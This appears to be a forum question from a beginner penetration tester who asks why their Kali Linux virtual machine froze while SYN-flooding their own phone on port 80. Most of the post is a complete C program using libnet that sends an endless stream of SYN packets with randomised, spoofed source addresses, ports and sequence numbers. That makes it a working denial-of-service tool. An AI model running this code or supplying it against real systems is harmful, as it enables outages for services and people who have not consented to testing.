Does syn flooding affect attacking machine?

I am a beginner in pen testing. I tried syn flooding port 80 of victim but intrestingly attacking machine froze few mins after the attack. I tried it twice and both the times attacking machine froze.Why did it happen? Also I want to know if this has something to do with ram(my attacking machine has 4gb ram)?

I used libnet to code the syn flooding program. Attacking machine is Kali linux(inside virtual box). I targeted my mobile on port 80

    #include<stdio.h>     #include<stdlib.h>     #include<libnet.h>     int main()     {       libnet_t *l;       char errbuf[LIBNET_ERRBUF_SIZE],des_str[16];       u_char packet[]="HELLO";       u_int32_t des_addr;       int des_port,i=0;       int bytes;       printf("Enter destination IP and port : \n");       scanf("%15s",des_str);       scanf("%d",&des_port);       l=libnet_init(LIBNET_RAW4,"eth0",errbuf);       if(l==NULL)       {         printf("Error intialising libnet : %s\n",errbuf);         exit(1);       }       des_addr=libnet_name2addr4(l,des_str,LIBNET_DONT_RESOLVE);       libnet_seed_prand(l);       printf("SYN FLOODING port %d",des_port);       while(1)       {         if(libnet_build_tcp((u_int16_t)libnet_get_prand(LIBNET_PRu16),des_port,(u_int32_t)libnet_get_prand(LIBNET_PRu32),(u_int32_t)libnet_get_prand(LIBNET_PRu32),TH_SYN,(u_int16_t)libnet_get_prand(LIBNET_PRu16),0,0,LIBNET_TCP_H+sizeof(packet),packet,sizeof(packet),l,0)==-1)         {           printf("Error building tcp : %s\n",libnet_geterror(l));           libnet_destroy(l);           exit(1);         }         if(libnet_build_ipv4(LIBNET_TCP_H+LIBNET_IPV4_H+sizeof(packet),0,(u_int16_t)libnet_get_prand(LIBNET_PRu16),0,255,IPPROTO_TCP,0,(u_int32_t)libnet_get_prand(LIBNET_PRu32),des_addr,NULL,0,l,0)==-1)         {           printf("Error building ip : %s\n",libnet_geterror(l));           libnet_destroy(l);           exit(1);         }         bytes=libnet_write(l);         if(bytes==-1)           printf("Error writing packet : %s\n",libnet_geterror(l));         else         {           printf("Packet %d : %d bytes written\n",i++,bytes);         }         libnet_clear_packet(l);       }       libnet_destroy(l);       return(0);     }